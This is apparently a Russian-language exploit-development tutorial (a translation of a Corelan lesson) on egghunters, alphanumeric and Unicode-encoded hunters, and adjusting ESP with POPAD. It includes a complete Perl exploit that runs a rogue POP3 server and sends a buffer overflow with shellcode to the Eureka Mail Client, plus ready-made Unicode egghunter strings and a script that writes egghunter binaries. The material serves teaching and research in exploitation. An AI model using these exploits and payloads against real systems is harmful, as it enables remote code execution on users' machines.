Обратите внимание, что при конвертировании инструкции SUB EAX, <Значение> в опкоды, нужно не забыть инвертировать значения байтов… так что, инструкция SUB EAX, 0x476D556F превратится в «\x2d\x6f\x55\x6d\x47».
Следующее, что нужно сделать, это убедиться в том, что декодированный охотник будет выполнен сразу после своего восстановления (декодирования).
Для того чтобы сделать это, нам нужно поместить его по предсказуемому местоположению и перейти на него, как только он будет декодирован. Или нам нужно поместить его прямо после деокдера, так что он сам, автоматически будет выполнен.
Если мы можем писать в предсказуемое место (поскольку, можем изменять ESP перед запуском декодера), и если после того как декодер завершит свою работу, мы сможем перейти на декодированный код охотника (ESP) – все будет работать отлично.
Конечно, если ваш набор символов ограничен, то вы, вероятно, не сможете добавить «JMP ESP», «PUSH ESP/RET» или что-нибудь подобное в конец декодера охотника. Но если вы можете, то это хорошие новости.
Если это невозможно сделать, то вам нужно будет размещать декодированный код охотника сразу после декодера. Таким образом, восстановленный код охотника, начнет выполняться следом за кодом декодера, когда тот завершит свою работу. Для того, чтобы сделать это, вам нужно будет вычислить то место, где будет расположен код восстановленного охотника. Так как мы знаем количество байтов декодера, то мы можем попытаться модифицировать ESP соответствующим образом (и осуществить это до того, как будет начат процесс декодирования). Благодаря этому, декодированные байты будут размещаться прямо после кода декодера.
Техника используемая для изменения ESP зависит от доступного набора символов. Если вы можете использовать только печатаемые ASCII символы, то вы не сможете использовать инструкции ADD, SUB или MOV… Один из метод, который, вероятно, будет работать – это выполнение серии инструкций POPAD для изменения значения ESP, тем самым заставляя его указывать на конец декодера. Вам, возможно, придется добавить несколько инструкций NOP в конец декодера для большей безопасности. (в качестве нупов, хорошо работает опкод «\x41», когда вы должны использовать только печатаемые ASCII символы).
Применив всё, что было описано выше, вы получите следующее:
Код изменяющий ESP (POPAD) + декодер (8 блоков: очистка EAX, восстановление кода, PUSH в стек) + несколько нупов (NOP) если необходимо…
Применив эту техники к эксплойту для Eureka Mail Client, получим следующее:
Code: Perl
use Socket;
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
#calculate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my $padding = "\x90" x 1000;
#alphanumeric ascii-printable encoded + bad chars
# tag = w00t
my $egghunter =
#popad - make ESP point below the encoded hunter
"\x61\x61\x61\x61\x61\x61\x61\x61".
#-----8 blocks encoded hunter---------------
"\x25\x4A\x4D\x4E\x55". #zero eax
"\x25\x35\x32\x31\x2A". #
"\x2d\x30\x71\x55\x71". #x75 xE7 xFF xE7
"\x2d\x30\x71\x55\x71".
"\x2d\x2B\x36\x55\x35".
"\x50". #push eax
#--------------------------
"\x25\x4A\x4D\x4E\x55". #zero eax
"\x25\x35\x32\x31\x2A". #
"\x2d\x71\x30\x71\x71". #xAF x75 xEA xAF
"\x2d\x71\x30\x71\x71".
"\x2d\x6F\x29\x33\x6D".
"\x50". #push eax
#--------------------------
"\x25\x4A\x4D\x4E\x55". #zero eax
"\x25\x35\x32\x31\x2A". #
"\x2d\x50\x30\x25\x65". #x30 x74 x8B xFA
"\x2d\x50\x30\x25\x65".
"\x2d\x30\x2B\x2A\x3B".
"\x50". #push eax
#---------------------------
"\x25\x4A\x4D\x4E\x55". #zero eax
"\x25\x35\x32\x31\x2A". #
"\x2d\x71\x71\x30\x41". #xEF xB8 x77 x30
"\x2d\x71\x71\x30\x41".
"\x2d\x2F\x64\x27\x4d".
"\x50". #push eax
#---------------------------
"\x25\x4A\x4D\x4E\x55". #zero eax
"\x25\x35\x32\x31\x2A". #
"\x2d\x42\x53\x30\x30". #x3C x05 x5A x74
"\x2d\x41\x53\x30\x30".
"\x2d\x41\x54\x45\x2B".
"\x50". #push eax
#---------------------------
"\x25\x4A\x4D\x4E\x55". #zero eax
"\x25\x35\x32\x31\x2A". #
"\x2d\x54\x30\x66\x46". #x02 x58 xCD x2E
"\x2d\x55\x30\x66\x46".
"\x2d\x55\x47\x66\x44".
"\x50". #push eax
#---------------------------
"\x25\x4A\x4D\x4E\x55". #zero eax
"\x25\x35\x32\x31\x2A". #
"\x2d\x50\x3e\x39\x31". #x0F x42 x52 x6A
"\x2d\x50\x3e\x39\x32".
"\x2d\x51\x41\x3b\x32".
"\x50". #push eax
#----------------------------
"\x25\x4A\x4D\x4E\x55". #zero eax
"\x25\x35\x32\x31\x2A". #
"\x2d\x33\x35\x70\x55". #x66 x81 xCA xFF
"\x2d\x33\x25\x70\x55".
"\x2d\x34\x24\x55\x55".
"\x50". #push eax
#------------------------------
"\x41\x41\x41\x41"; #some nops
#calc.exe
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x 59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\ x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\ x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\ x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\ x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\ x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\ x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\ x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\ x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\ x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\ x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\ x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\ x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\ x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\ x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\ x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\ x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\ x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\ x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\ x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\ x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
my $payload=$junk.$ret.$egghunter.$padding."w00tw00t" .$shellcode;
#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
print "[+] Client connected, sending evil payload\n";
my $cnt=1;
while($cnt<10)
{
print CLIENT "-ERR ".$payload."\n";
print " -> Sent ".length($payload)." bytes\n";
$cnt=$cnt+1;
}
}
close CLIENT;
print "[+] Connection closed\n";


Вы, вероятно, сможете, а может и не сможете использовать этот код в вашем эксплойте – тем не менее, этот код был создан в ручную и базируется он на текущем списке плохих символов, на смещении (offset) требуемом для записи в конец декодера и так далее.
Просто, примите во внимание, что закодированный код будет (намного) больше (так что вам нужен будет буфер большей длины) чем незакодированный/оригинальный код охотника. Код который я использовал равен 220 байтам…
Что если ваш payload подвергается преобразованию в Unicode формат?
Хороший вопрос!
Есть два сценария решения этой проблемы, позволяющий сделать ваш payload-рабочим:
Сценарий 1: Где-то в памяти можно найти ASCII версию пэйлоада.
Такое иногда случается, поэтому имеет смысл провести исследование. Когда данные принимаются приложением в ASCII-формате, они сохраняются в памяти перед тем, как будут преобразованы в Unicode. После преобразования в Unicode они все еще могут хранится (и быть доступными) в памяти, в момент когда происходит переполнение.
Лучшим способом для определения того, доступен ли шеллкод в ASCII-формате или нет, является использование плагина pvefindaddr. Для этого нужно записать шеллкод в файл и использовать фичу !pvefindaddr compare <filename>. Если шеллкод будет найден и он не будет изменен, поврежден или преобразован в Unicode формат, то плагин сообщит вам об этом.
При таком сценарии, вам нужно:- Преобразовать код охотника в венецианский шеллкод и выполнить его. После преобразования код охотника будет намного больше, чем его оригинальная версия в ASCII-формате, поэтому важно иметь достаточно места в буфере для его размещения.
- Разместить реальный шеллкод (предваренный тегом) где-то в памяти. Тег и шеллкод должны быть в ASCII-формате.
Когда венецианский охотник будет запущен, он легко найдет ASCII-версию шеллкода в памяти и выполнит его.
Преобразовать охотника в венецианский шеллкод довольно просто. Для этого нужно поместить его (включая тег/маркер) в файл и использовать alpha2 (или недавно выпущенную alpha3 от skyline) для того, чтобы преобразовать его в Unicode-версию (как это сделать, объяснялось в моём предыдущем уроке о Unicode).
В случае, если вы слишком устали, чтобы сделать это самим, то вот вам Unicode-версия охотника за яйцами, который использует тег w00t и регистр EAX в качестве базового регистра:
Code: Perl
#Corelan Unicode egghunter - Basereg=EAX - tag=w00t
my $egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ".
"ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX" .
"A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA" .
"BAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ4" .
"4JO7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA";
Хорошей вещью в Unicode-версии охотника является то, что в нем легче настроить начальное место, с которого он начнет свой поиск (если это потребуется).
Помните, мы говорили об этом немного раньше? Если шеллкод можно найти в стеке, то зачем искать его в больших кусках памяти, если можно просто начать поиск с более близкого места к нему. Еще одной хорошей вещью в использовании венецианской версии охотника является то, что он может содержать нулевые байты, поскольку эти байты не представляют здесь никаких проблем.
Таким образом если вы хотите заменить «\x66\x81\xCA\xFF\x0F» на «\x66\x81\xCA\x00\x00», чтобы повлиять на начальное местоположение, с которого охотник начнет свой поиск, то это не вызовет у вас никаких проблем. (На самом деле, именно это я и сделал, когда создал Unicode-версию охотника, и не потому, что я должен был делать это, а просто потому, что я хотел это попробовать).
Сценарий 2: Unicode payload only
В этом сценарии вы не можете использовать ASCII-версиею шеллкода, поскольку все данные находятся в Unicode.
В таких условиях создание рабочего эксплойта займет немного больше времени.
Прежде всего, вам нужен охотник в формате Unicde, так же вам нужно убедиться в том, что тег/маркер, используемый охотником, дружественен к Unicode. Ну, и в конечном с чете, вам нужно поместить тег перед реальным шеллкодом (и этот тег должен соответствовать формату Unicode).
В дополнение к этому, вам нужно будет настраивать регистры два раза: один раз, чтобы выполнить код охотника, и затем второй раз, между поиском тега и запуском реального шеллкода (так что, вы так же можете декодировать шеллкод). Итак, кратко:- Вызвать переполнение и передать исполнение на
- код, который настроит регистр и добавит выравнивание (padding), если требуется, а затем перейдет (jump) на
- шеллкод в формате Unicode, который сам себя деокдирует и запустит охотника за яйцами, который будет
- искать двойной тег в памяти, и после того, как найдет его он
- выполнит код, который будет находиться сразу за тегом, и которому будет нужно
- снова настроить регистр и добавить выравнивание (padding), и уже после того, он
- выполнит (реальный) шеллкод в формате Unicode (который снова сам себя декодирует и выполнит конечный шеллкод).
Нам нужно создать венецианского охотника, который будет содержать тег, который можно бы было использовать перед реальным шеллкодом, и который должен быть дружественный к Юникоду. В примере выше, в качестве тега, я использовал w00t, которые в HEX равен 0×77, 0×30, 0×30, 0×74 ( w00t записан в обратном направлении из-за следования обратному порядку байтов). Таким образом, если вы замените первый и третий байты нулевый байтом, мы получим следующую последовательность 0×00, 0×30, 0×00, 0×74 (или в ASCII: t – null – 0 – null)
Небольшой скрипт, который запишет охотника за яйцами в файл, выглядит следующим образом:
Code: Perl
#!/usr/bin/perl
# Little script to write egghunter shellcode to file
# 2 files will be created :
# - egghunter.bin : contains w00t as tag
# - egghunterunicode.bin : contains 0x00,0x30,0x00,0x74 as tag
#
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#
my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\ x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
print "Writing egghunter with tag w00t to file egghunter.bin...\n";
open(FILE,">egghunter.bin");
print FILE $egghunter;
close(FILE);
print "Writing egghunter with unicode tag to file egghunter.bin...\n";
open(FILE,">egghunterunicode.bin");
print FILE "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\ x3C";
print FILE "\x05\x5A\x74\xEF\xB8";
print FILE "\x00"; #null
print FILE "\x30"; #0
print FILE "\x00"; #null
print FILE "\x74"; #t
print FILE "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
close(FILE);
(Создание двух версий файлов для ASCII и Unicode, может однажды пригодиться)
Теперь, преобразуем «egghunterunicode.bin» в венецианский шеллкод:
Code:
./alpha2 eax --unicode --uppercase < egghunterunicode.bin
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI
1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABA
BABAB30APB944JBQVSQGZKOLOORB2BJLB0XHMNNOLLEPZ3DJO6XKPNPKP
RT4KZZVO2UJJ6ORUJGKOK7A
При создании Unicode версии пэйлоада, вы должны предварить реальный (Unicode) шеллкод – тегом, который бы был совместимым с форматом Unicode: «0t0t» (без кавычек). При преобразовании этой строки в Unicode, получится следующая последовательность: 0×00 0×30 0×00 0×74 0×00 0×30 0×00 0×74… именно её и нужно использовать в качестве маркера, который следует поместить в код охотника, перед тем, как тот будет преобразован в совместимый с юникодом формат (см. скрипт выше).
Между тегом «0t0t» и реальным (венецианским) шеллкодом, который нужно поместить после маркера, вам вероятно нужно будет включить выравнивание регистра, иначе венецианский декодер не будет работать. Если, например, вам нужно преобразовать ваш реальный шеллкод в венецианский шеллкод, используя EAX в качестве базового регистра, то вам нужно заставить начало декодера снова указывать на регистр … Если вы читали Урок 7, то вы знаете о чем я говорю.
В большинстве случаев, охотник поместит текущий адрес стека в EDI (поскольку он использует этот регистр, чтобы отслеживать местоположение в памяти, где размещен тег яйца. Сразу после того как будет найден тег, этот регистр будет указывать на его последний байт). Таким образом, было бы довольно просто (например) поместить адрес из EDI в EAX и увеличивать EAX до тех пор, пока его адрес не будет указывать на место, где размещен венецианский шеллкод, или просто изменить EDI (и использовать венецианский шеллкод, который бы в качестве базового регистра использовал EDI).
Первая инструкция для выравнивания, будет начинаться с нулевого байта, потому что им является последний байт тега «30 00 74 00 30 00 74 00». Так что нам нужно осуществить выравнивание с помощью инструкции, которая бы имела такую форму «00 xx 00». Инструкция «00 6D 00» будет работать (как в прочем и другие).
Примечание: убедитесь в том, что декодер венецианского шеллкода не перезаписывает никаких своих инструкций или инструкции охотника за яйцами, поскольку это приведет повреждению эксплойта.